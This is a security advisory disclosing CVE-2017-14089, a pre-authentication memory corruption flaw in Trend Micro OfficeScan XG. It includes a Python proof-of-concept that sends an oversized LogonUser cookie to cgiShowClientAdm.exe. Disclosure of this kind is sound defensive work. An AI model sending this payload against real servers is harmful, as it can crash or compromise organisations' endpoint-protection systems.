[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/CVE-2017-14089-TRENDMICRO-OFFICESCAN-XG-PRE-AUTH-REMOTE-MEMORY-CORRUPTION.txt [+] ISR: ApparitionSec Vendor: ================== www.trendmicro.com Product: ======== OfficeScan v11.0 and XG (12.0)* OfficeScan protects enterprise networks from malware, network viruses, web-based threats, spyware, and mixed threat attacks. An integrated solution, OfficeScan consists of the OfficeScan agent program that resides at the endpoint and a server program that manages all agents. The OfficeScan agent guards the endpoint and reports its security status to the server. The server, through the web-based management console, makes it easy to set coordinated security policies and deploy updates to every agent. Vulnerability Type: =================== Unauthorized Remote Memory Corruption CVE Reference: ============== CVE-2017-14089 Security Issue: ================ Remote unauthenticated attackers that can make connection the TrendMicro OfficeScan XG application targeting the "cgiShowClientAdm.exe" process can cause memory corruption issues. References: =========== https://success.trendmicro.com/solution/1118372 Exploit/POC: ============= import urllib,urllib2 from urllib2 import Request print 'TrendMicro OfficeScan XG' print 'Stack Memory Corruption POC' print 'by hyp3rlinx\n' IP="VICTIM-IP:4343" PAYLOAD="A"*256 url = urllib2.Request('https://'+IP+'/officescan/console/html/cgi/cgiShowClientAdm.exe') cookie="Cookie: serror=0; session_expired=no; FeatureEnableState=enableAntiBody@1|enableCCFR@1|enableCfw@1|enableDcs@1|enableSorting@0|enableSpy@1|enableVirus@1|HasAvAddSvc@1|installWSS@1|enableDLP@0|sqldbMode@0|enableIPv6@1|w2ksupport@0|; stamp=2231521137; timestamp=1497360567; DisabledIds=9999.; LogonUser=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; ReadOnlyIds=8.56.; enableRba=1; key=16914202097564; session=666; LANG=en_US; PHPSESSID=WHATEVER123; lastID=34; lastTab=-1; theme=default; wf_CSRF_token=99999999999999999999999999999999; serror=0; retry=0; PHPSESSID=WHATEVERHERE; wf_CSRF_token=666; LANG=en_US; theme=default; lastID=33; lastTab=-1" print '\nsending packetz... \n'+ cookie ##url.add_header("X-CSRFToken", "ee721b62aef83b017e8c86f52e38a411") #<============== X-CSRFToken IS NOT EVEN NEEDED! url.add_header("Content-Type", "application/x-www-form-urlencoded; charset=utf-8") url.add_header("Content-Length", "54") url.add_header("Cookie ",cookie) req=urllib2.urlopen(url) res = urllib2.urlopen(req) print res Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ==================== Vendor Notification: June 5, 2017 Vendor releases fixes / advisory : September 27, 2017 September 28, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx
